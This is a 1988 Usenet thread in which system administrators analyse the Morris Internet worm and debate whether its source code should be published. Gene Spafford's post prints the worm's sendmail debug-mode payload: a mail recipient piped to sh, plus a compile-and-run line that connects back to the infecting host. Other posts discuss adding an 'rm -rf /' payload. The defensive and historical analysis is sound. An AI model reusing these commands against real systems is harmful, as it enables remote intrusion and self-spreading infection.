news@cs.purdue.EDU (News Knower) (11/04/88)
The patch from Keith Bostic in the last message is *not* sufficient to halt the spread of the virus. We have discovered from looking at the binaries that the virus also attempts to spread itself via "rsh" commands to other machines. It looks through a *lot* of files to find possible vectors to spread. If you have a bunch of machines with hosts.equiv set or .rhosts files, you should shut them *all* down at the same time after you have fixed sendmail to prevent a further infestation. If you don't clear out the versions in memory, you won't protect your other machines. The virus runs itself with the name "sh" and then overwrites argv, so if a "ps ax" shows any processes named "(sh)" without a controlling tty, you have a problem. Due to the use of other uids from rsh, don't make any conclusions if the uid is one of your normal users. Also, check your mailq (do a mailq command). If you see any entries that pipe themselves through sed and sh, delete them from the queue before you restart your machines. Non-internet sites do not need to worry about this virus (for now!), but be aware that mail and news may not be flowing everywhere for some time -- many sites are disconnecting from the Internet completely until the virus is contained.
spaf@cs.purdue.edu (Gene Spafford) (11/04/88)
This is an updated description of how the worm works (note: it is technically a worm, not a virus, since it does not attach itself to other code {that we know about}): All of our Vaxen and some of our Suns here were infected with the worm. The worm forks repeated copies of itself as it tries to spread itself, and the load averages on the infected machines skyrocketed. In fact, it got to the point that some of the machines ran out of swap space and kernel table entries, preventing login to even see what was going on! The worm seems to consist of two parts. The way that it works is as follows: 1) Virus running on an infected machine opens a TCP connection to a victim machine's sendmail, invokes debug mode, and submits a version of itself as a mail message. *OR* it uses rsh to create itself on the remote machine through an account requiring no password (due to hosts.equiv or .rhosts entries). Using the sendmail route, it does something like: From: /dev/null To: "|sed -e 1,/^$/d | sh; exit 0" cd /usr/tmp cat > x14481910.c <<'EOF' <text of program deleted? EOF cc -o x14481910 x14481910.c;x14481910 128.10.2.215 32341 8712440;rm -f x14481910 x14481910.c 2) This program is a simple "listener" or "helper" program of a few dozen lines of fairly simple code. As you can see, the helper is invoked with arguments pointing back at the infecting worm (giving hostid/socket/checksum(?) as arguments). 3) The helper then connects to the "server" and copies a number of files (presumably to /tmp). After the files are copied, it exec's a shell with standard input coming from the infecting worm program on the other end of the socket. From here, I speculate on what happens since I can't find the source to this part lying around on our machines: 4) The newly exec'd shell attempts to compile itself from the files copied over to the target machine. The command file it uses is as follows: PATH=/bin:/usr/bin:/usr/ucb rm -f sh if [ -f sh ] then P=x%d else P=sh cc -o $P %s /bin/echo %s ./$P -p $$ 5) This creates and dispatches the new worm.. This worm opens all the worm source files, then unlinks the files so they can't be found (since it has them open, however, it can still access the contents). Next, the worm steps through the hosts file (on the Sun, it uses YP to step through the distributed hosts file) trying to connect to other machines' sendmail. If a connection succeeds, it forks a child process to infect it, while the parent continues to attempt infection of other machines. 7) The child requests and initializes a new socket, then builds and invokes a listener with the new socket number and hostid as arguments (#1, above). Other notes: The worm runs in stages. It first collects info from the /etc/hosts files, the hosts.equiv file, and other files containing host names and host IP addresses. It even runs netstat to find out what networks the machine is attached to! It uses this information to attempt to penetrate sendmail on those machines. It also knows how to penetrate "fingerd" on Vaxen (on Suns, the attempt results in a core dump). I will privately tell individuals how to fix the bug in fingerd, but for now change it so it does not run as "root". After this first stage, it appears to sleep for a while. Then it starts collecting user names and it begins probing with "rsh". I believe it also permutes either an internal list of words, or it uses the names from passwd, but it also tries to see if it can break any of the passwords for local accounts; if so, if forks a child to use telnet to break into that account and copy itself. It tries to copy itself to other systems using rsh, fingerd, and possibly also uucp and/or ftp. As I write this, no one seems to know what it is supposed to eventually do. Perhaps it just breaks in everywhere it can. I wonder if it isn't just going to wait until some compiled-in time and then run an "rm -rf /" or something similar (and awful). Has anyone noticed new files in /usr/spool/at or included in /usr/lib/crontab? Other notes: The program corrupts its argument vector, so it appears in a "ps ax" as "(sh)" (a login shell). Don't trust any of these if you have them running. The program doesn't copy around source files (except the helper) -- it copies around pre-compiled binaries that are linked on the local machine and then run. The worm appears to only be carrying binaries for 68020-based Suns and Vax 7xx machines. Pyramids, Sun 2's and Sequents are all definitely immune. The strings in the binaries are encrypted against a random "strings" invocation. If you have a binary, Keith Bostic informs me that Xor with 0x81 will reveal interesting things, although that is not the only mask used. The first observation of the virus I have heard about was 6pm Wednesday night in Pittsburgh. It didn't hit Purdue until about 4 this morning. I will update you with any further information I may find. If you forward whatever information you find, I will try to collate it. --spaf Acknowledgements: Some of the above information was obtained from Brian Kantor (UCSD), Keith Bostic (UCB), Thomas Narten (Purdue), Dan Trinkle (Purdue), and Miek Rowan (Purdue). Thanks, guys. -- Gene Spafford NSF/Purdue/U of Florida Software Engineering Research Center, Dept. of Computer Sciences, Purdue University, W. Lafayette IN 47907-2004 Internet: spaf@cs.purdue.edu uucp: ...!{decwrl,gatech,ucbvax}!purdue!spaf
mlandau@bbn.com (Matt Landau) (11/04/88)
The virus also appears to try to compile things in /tmp or /usr/tmp. One thing you can do is move /bin/cc to some other name, and install a shell script in /bin/cc that checks to see if it's being invoked from within one of your temp directories. This will help catch the virus as it tries to infect a new system.
benfeen@ddsw1.MCS.COM (Ben Feen) (11/05/88)
Help m! I assume from the language this is written in that the virus only affects UNIX. Correct? -- _ /| I can read your mind and you should be ashamed. \'o.O' Remember- Stoplights timed for 35 MPH are also timed for 75 MPH. =(___)= This .sig file stolen by: U benfeen@ddsw1.MCS.com
jbayer@ispi.UUCP (id for use with uunet/usenet) (11/06/88)
In article <2072@ddsw1.MCS.COM>, benfeen@ddsw1.MCS.COM (Ben Feen) writes: > > Help m! I assume from the language this is written in that the virus > only affects UNIX. Correct? The header says it all. Jonathan Bayer Intelligent Software Products, Inc.
karn@jupiter..bellcore.com (Phil R. Karn) (11/07/88)
Now that we have a pretty good idea who wrote the virus and what his intentions were, I would like to suggest something he might do that would go a long way toward mitigating the damage he has done. It sure would be nice if Morris (or someone at Cornell with access to his files) were to release the complete, original source for the object portion of the virus. There are a *lot* of uneasy people out here who are not completely sure that it is now completely understood, and releasing the source ASAP would go a long way toward quelling those fears. I'm probably not the only one who has been "invited" to an internal meeting in my organization to answer questions about the virus and the steps taken to protect against it. The more we administrators know about the virus when we go into those meetings, the easier our lives will be over the next few days and weeks. Phil Karn
spaf@cs.purdue.edu (Gene Spafford) (11/07/88)
In article <11581@bellcore.bellcore.com> karn@jupiter.UUCP (Phil R. Karn) writes: >It sure would be nice if Morris (or someone at Cornell with access to his >files) were to release the complete, original source for the object portion >of the virus. Good heavens, no! At least, it shouldn't be widely published! The virus, as is, needs only a few small changes and it could be sent out again to infect all those systems that don't have all the necessary patches in place. Plus, there are other "backdoors" (known and not yet known) into systems that could be added in. The result could be a real mess if someone else decides to try a "better" version of the worm. (Note -- it's a worm, not a virus, since it can replicate itself and does not hide itself inside other code.) What we really want is a list of all the things in the worm that take advantage of security holes, and advice on how to plug them. I'm working on getting a disassembled version of the virus so I can do exactly that, and I will post the list here and in various other places when I have it. If someone at Cornell wants to aid me in this, fine, but I really, really think we should not publish the code in any way....providing it to trusted individuals with a promise not to spread it is fine (I wouldn't mind Phil getting a copy, for instance, or Rick Adams, etc., but I wouldn't want others to get it...and I won't name names, although 3 or 4 spring instantly to mind). We want to know what holes to plug, not provide a power drill to vandals. -- Gene Spafford NSF/Purdue/U of Florida Software Engineering Research Center, Dept. of Computer Sciences, Purdue University, W. Lafayette IN 47907-2004 Internet: spaf@cs.purdue.edu uucp: ...!{decwrl,gatech,ucbvax}!purdue!spaf
weemba@garnet.berkeley.edu (Obnoxious Math Grad Student) (11/07/88)
In article <5330@medusa.cs.purdue.edu>, spaf@cs (Gene Spafford) writes: >In article <11581@bellcore.bellcore.com> karn@jupiter.UUCP (Phil R. Karn) writes: >>It sure would be nice if Morris (or someone at Cornell with access to his >>files) were to release the complete, original source for the object portion >>of the virus. >Good heavens, no! At least, it shouldn't be widely published! The >virus, as is, needs only a few small changes and it could be sent out >again to infect all those systems that don't have all the necessary >patches in place. Plus, there are other "backdoors" (known and not yet >known) into systems that could be added in. The result could be a real >mess if someone else decides to try a "better" version of the worm. The result could *also* be a real mess if you all think the bad guys are going to be slowed down very much by keeping the code a "secret". Good thing we don't have to worry about security down here at UC BUGSFORBRAINS, since Gene and company are going to keep the key critical stuff hush hush for us. --famous last words, the unknown sysadmin What was it that H P Lovecraft said about "fear"? So regarding the release of the code: ___ All in favor of once-a-month INTERNET random fire drills say AYE. ___ All in favor of once-a-lifetime INTERNET catastrophic debacles say NO. ucbvax!garnet!weemba Matthew P Wiener/Brahms Gang/Berkeley CA 94720
karn@ka9q.bellcore.com (Phil Karn) (11/07/88)
Gene, I respectfully disagree. After I posted my note, I discovered that the phage mailing list has had a raging debate about precisely this point. Even though I wrote my original note because *I* wanted a copy of the virus/worm source so I could be well-informed for my management's sake, I have to side with those calling for complete disclosure. The only issue in my mind is the exact timing of the public release. I make the following arguments for my position. 1. Making the source available would help enormously in assuaging management fears about additional, presently undetected damage the worm might have caused (it might really have been a virus, for example). They are likely to be uncomfortable having to trust and rely on the expertise of a fairly small group of people they don't know. By no means am I casting aspersions on those who have been cracking the virus; only trying to calm what may well be unfounded fears. Complete disclosure is the best antidote to paranoia. 2. The worm source just isn't that much more dangerous than knowledge of the security holes it used. Frankly, I'm surprised that Morris used it to build a worm. Two things are paramount to a system cracker: undetectability, followed closely by untraceability in case of detection. If I were a spy with knowledge of the sendmail hole, I would have cracked systems one by one, perhaps through a series of "cheesebox" systems to avoid being traced. Until now I haven't really thought much about the design of worms, but even without the benefit of hindsight it seems fairly obvious to me that controlling the exact rate of their spread (to avoid detection) is very difficult. Why should I risk the possibility of a worm getting out of hand just to save me the trouble of cracking systems semi-manually? 3. It is just not that hard to turn the worm's binary into something really destructive. It certainly does not *require* the source code to do so. In fact, it doesn't even require patching the .o file. Just link it with a module that replaces _exit (or another suitably chosen system call executed near the end) with a function that first executes "rm -rf /", then loops. 4. The source will get out anyway, in one form or another; this is inevitable. Lots of people have been decompiling it, and not all feel that it should be kept secret. Perhaps I only have to wait for it to appear in the New York Times... :-) 5. Making the source code generally available is perhaps *the* best way to prod the vendors into fixing *lots* of holes in their systems, not just the ones exploited by the worm. Face it, we all know how vendors behave -- everyone does the least work possible, subject to the vocalness of their customers' demands. Several people have already stated that they knew of the hole in sendmail for many years and they just chalked it up to the net being composed of benign people. Since it wasn't generally known (I didn't know about it, for example) there was no general cry to fix it, and it lay open long enough for Morris to come along and exploit it. 6. I found it ironic to read that the elder Morris recently submitted a paper on UNIX security for publication, but his employer squelched it. Who knows what was in that paper? Perhaps, just perhaps, maybe it contained a description of the hole in sendmail, among other things. Perhaps, just perhaps, Robert Jr., learned of this hole from his dad. Perhaps if that paper had been published, people would have taken steps to protect themselves before the younger Morris had unleashed his worm. In sum: SECURITY THROUGH OBSCURITY JUST DOESN'T WORK! Phil
karl@triceratops.cis.ohio-state.edu (Karl Kleinpaste) (11/08/88)
karn@jupiter..bellcore.com (Phil R. Karn) writes:
It sure would be nice if Morris (or someone at Cornell with access to his
files) were to release the complete, original source for the object portion
of the virus.
That may well constitute an invasion of privacy, depending on the laws
of the state of NY, not to mention Cornell University privacy
policies. And considering that such files might soon become evidence
in what could become a bona fide criminal proceeding, don't bet on it.
Impartial juries can be tough to find.
--Karl
mark@drd.UUCP (Mark Lawrence) (11/08/88)
I'm just waiting for the logical next step after the most recent ruckus. I can imagine a conversation among mucky-mucks higher up in the DoD, NSA and NSC: "What the hell are we doing permitting access to Military Networks by hacker college geeks? What do you mean that anybody in the world with a PC and a modem can send traffic across our networks? What the hell is this mail and net news garbage anyway?..." ad nauseum. Gad, it sets me ill-at-ease to have our net techno-existance foisted up before national media for close scrutiny and examination. The potential for misinformation and misinterpretation of events due to lack of understanding of the technicalities are great. There are generals, admirals, congress-critters and beaurocrats who are now (maybe needlessly) worried about the how this worm (none of the media reports that I've seen have corrected the ubiquitous use of the 'virus' term) or the next occurance might affect SAC, NORAD, the security system at Fort Knox or some other crucial computerized facility. Whether the danger to such such systems is real or not is immaterial to the policy-setters and the decision-makers. They will (do?) percieve vulnerability and (knee-jerk reaction) steps will be taken. I think that the probability is great that such (not well thought out or informed) actions could radically change the Net as we know it. Mark
honey@mailrus.cc.umich.edu (peter honeyman) (11/09/88)
Mark Lawrence imagines a bunch of generals saying > "What the hell are we doing permitting access to Military Networks > by hacker college geeks? What do you mean that anybody in the world > with a PC and a modem can send traffic across our networks? What > the hell is this mail and net news garbage anyway?..." ad nauseum. ironically, internet access to milnet is already prevented, with the except of one application: mail. boom. peter
roy@phri.UUCP (Roy Smith) (11/10/88)
spaf@cs.purdue.edu (Gene Spafford) writes: > (Note -- it's a worm, not a virus, since it can replicate itself and > does not hide itself inside other code.) Several people have mentioned that it's a worm and not a virus. I tried to explain this to my wife (who is a molecular biologist who works with biolgical viruses) and she didn't like the term worm. She says that the distinction of not hiding inside other code is better described by calling them lytic viruses and lysogenic viruses instead of worms and viruses. Anybody for electronic transposons? -- Roy Smith, System Administrator Public Health Research Institute {allegra,philabs,cmcl2,rutgers}!phri!roy -or- phri!roy@uunet.uu.net "The connector is the network"
rang@cpsin3.cps.msu.edu (Anton Rang) (11/10/88)
Just out of curiousity, does anyone have any idea how long it would have taken to detect/analyze the virus if it had actually been malignant? Say, deleting '/bin/login' and '/usr/spool/log/syslog' (or all the files on the machine). If your machine just stops responding, and you can't log in, and the only thing you can do is reboot it (at which point you discover that '/vmunix' is missing), how do you know what's happened? How long would it take before people realized it was a general problem? And how long would it have been before the worm had been analyzed enough to block it? We should be GLAD that Mr. Morris didn't do anything nasty (whether he planned to eventually or not).... +---------------------------+------------------------+----------------------+ | Anton Rang (grad student) | "UNIX: Just Say No!" | "Do worry...be SAD!" | | Michigan State University | rang@cpswh.cps.msu.edu | | +---------------------------+------------------------+----------------------+
rang@cpsin3.cps.msu.edu (Anton Rang) (11/11/88)
To get things started with a fairly non-controversial topic...did anyone else hear the piece All Things Considered ran Thursday on the virus? Pretty well done, I thought--especially the "voice of the virus". I noticed they interviewed Gene Spafford, too (BTW, thanks for all the work you did in this!). Now, on to other things. I'm going to try and straddle the line here a bit. There isn't much question in my mind that the worm was a bad thing: it "wasted" a lot of CPU time (in academia, industry, and government), and more importantly a lot of people's time. On the other hand, I think it has had some good side effects too. For one thing, there is a lot more PUBLIC discussion of security going on. As a new UNIX system manager (under 2 years), I knew that UNIX had some fundamental security problems. I believed that by restricting things like /etc/hosts.equiv, /.rhosts, and by carefully shutting down access to files (i.e. /etc/init probably shouldn't be mode 755) the system would be "reasonably" secure, for an academic environment at least--in other words, after a security breach, I could pretty much backtrack and find out who it was (or at least what they did). Well, I was wrong. Working on Sun systems, I do not have access to source for most of the programs on the system. More importantly, perhaps, as a graduate student I don't have the TIME to go through the source and look for security holes. Yet there are people out there who know about them yet don't tell anyone, or tell only a fairly restricted group of people. That doesn't help me. A lot of the blame has to be put on the vendors, too. Even though most of DEC's security work is with VMS, they did at least send out sendmail without the debug mode. A lot of vendors just sent out the compiled code, with debug or you-name-it still in it! These vendors should be shaking in their boots--I suspect a good argument could be made that there is an implied warranty on security, especially when the source is not distributed by them to customers, but is available to people who might try to break in (does this sound backward?). Well, this is getting long, so one more idea and I'll end. Maybe somebody (NIC? DoD?) should have a group in charge of tested Internet security. Nothing like releasing viruses etc. (if nothing else, the argument about "the boy who cried wolf" applies here). But maybe at least periodically checking hosts in the NIC database for the obvious, well-known problems. Somebody want to volunteer? One last note (this is it, really!). I think that this whole scare has been a benefit to a lot of USERS (as opposed to system managers). There is an attitude among many people of "It's in the computer, it must be safe". Even when backups are only done once a month. Even when potentially sensitive information is there. Maybe now some users will pressure their admins more about security. And that's probably good. Enough. +---------------------------+------------------------+----------------------+ | Anton Rang (grad student) | "UNIX: Just Say No!" | "Do worry...be SAD!" | | Michigan State University | rang@cpswh.cps.msu.edu | | +---------------------------+------------------------+----------------------+
honey@mailrus.cc.umich.edu (peter honeyman) (11/11/88)
please elaborate on your assertion that "unix has some fundamental security problems." peter
kenm@maccs.McMaster.CA (...Jose) (11/12/88)
In article <3595@phri.UUCP> roy@phri.UUCP (Roy Smith) writes: >spaf@cs.purdue.edu (Gene Spafford) writes: >> (Note -- it's a worm, not a virus, since it can replicate itself and >> does not hide itself inside other code.) > Several people have mentioned that it's a worm and not a virus. I >tried to explain this to my wife (who is a molecular biologist who works >with biolgical viruses) and she didn't like the term worm. She says that ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Actually, IT IS very much like a parastic worm, which invades a biological system, and uses the host as a domain for its own reproduction and activity. It can then travel from system to system (ie. person to person through certain types of contact). It doesn't actually change the genetics of a person (ie. does not attatch itself to the code), but can harm the system by interupting normal processes. ----------------------------------------------------------------------------- "Fighting for Truth, Kenneth C. Moyle Justice, and Department of Biochemistry anything else that McMaster University - Hamilton, Ontario seems fun at the time" kenm@maccs -----------------------------------------------------------------------------
jmc@ptsfa.PacBell.COM (Jerry Carlin) (11/12/88)
In article <783@mailrus.cc.umich.edu> honey@citi.umich.edu (peter honeyman) writes: >please elaborate on your assertion that "unix has some fundamental security >problems." I did not start this, but I can't leave the opportunity alone :-) The ORANGE book has some fundamental security problems. (For the color blind, the orange book is the DOD requirements for secure operating systems). It ignores such minor things as database managers and networks. If a DBMS resides in one file or partition, the walls the operating system builds are irrelevant. Network insecurity is obvious. The 'red' book is an attempt to address it but we are far from seeing a solution. Kerberos is a good start. Moral: ALL computers and networks in the 'real' world have fundamental theoretical security problems. For those who still aren't convinced, read about the IBM mainframe (RACF) problem that lead to space shuttle code being diddled when it should not have, LU6.2 with NO built in security, VAX/VMS bugs a few months ago etc. (comp.risks) etc. "We all live in a yellow submarine..." PS: What is the 'misc.security' newsgroup for? :-) -- Jerry Carlin (415) 823-2441 {bellcore,sun,ames,pyramid}!pacbell!jmc To dream the impossible dream. To fight the unbeatable foe.
allbery@ncoast.UUCP (Brandon S. Allbery) (11/15/88)
As quoted from <5330@medusa.cs.purdue.edu> by spaf@cs.purdue.edu (Gene Spafford): +--------------- | In article <11581@bellcore.bellcore.com> karn@jupiter.UUCP (Phil R. Karn) writes: | >It sure would be nice if Morris (or someone at Cornell with access to his | >files) were to release the complete, original source for the object portion | >of the virus. | | Good heavens, no! At least, it shouldn't be widely published! The | virus, as is, needs only a few small changes and it could be sent out | again to infect all those systems that don't have all the necessary | patches in place. Plus, there are other "backdoors" (known and not yet | known) into systems that could be added in. The result could be a real | mess if someone else decides to try a "better" version of the worm. +--------------- G*d, yes! Anyone who disbelieves this should look up the history of the "nVIR" virus family on the Macintosh. And *that* started out as a PUBLISHED EXAMPLE of a POTENTIAL security hole!!! ++Brandon -- Brandon S. Allbery, comp.sources.misc moderator and one admin of ncoast PA UN*X uunet!hal.cwru.edu!ncoast!allbery <PREFERRED!> ncoast!allbery@hal.cwru.edu allberyb@skybridge.sdi.cwru.edu <ALSO> allbery@uunet.uu.net comp.sources.misc is moving off ncoast -- please do NOT send submissions direct Send comp.sources.misc submissions to comp-sources-misc@<backbone>.
mak@ndc.UUCP (Mike Klaus) (11/22/88)
In article <5330@medusa.cs.purdue.edu>, spaf@cs.purdue.edu (Gene Spafford) writes: > (Note -- it's a worm, not a virus, since it can replicate itself and > does not hide itself inside other code.) OK, it's been established that it's a worm... ^^^^ > > I'm working on getting a disassembled version of the virus so I can do... ^^^^^ Is this a freudian slip? Is there something else running around in the net(s)? Did someone say grafitti? mak Story: Once upon a time, there was a computer tournament between CIT and MIT involving a chess game. This was extremely tedious and boring until a couple of nerds started a new game with initial setup consisting exclusively of forks.....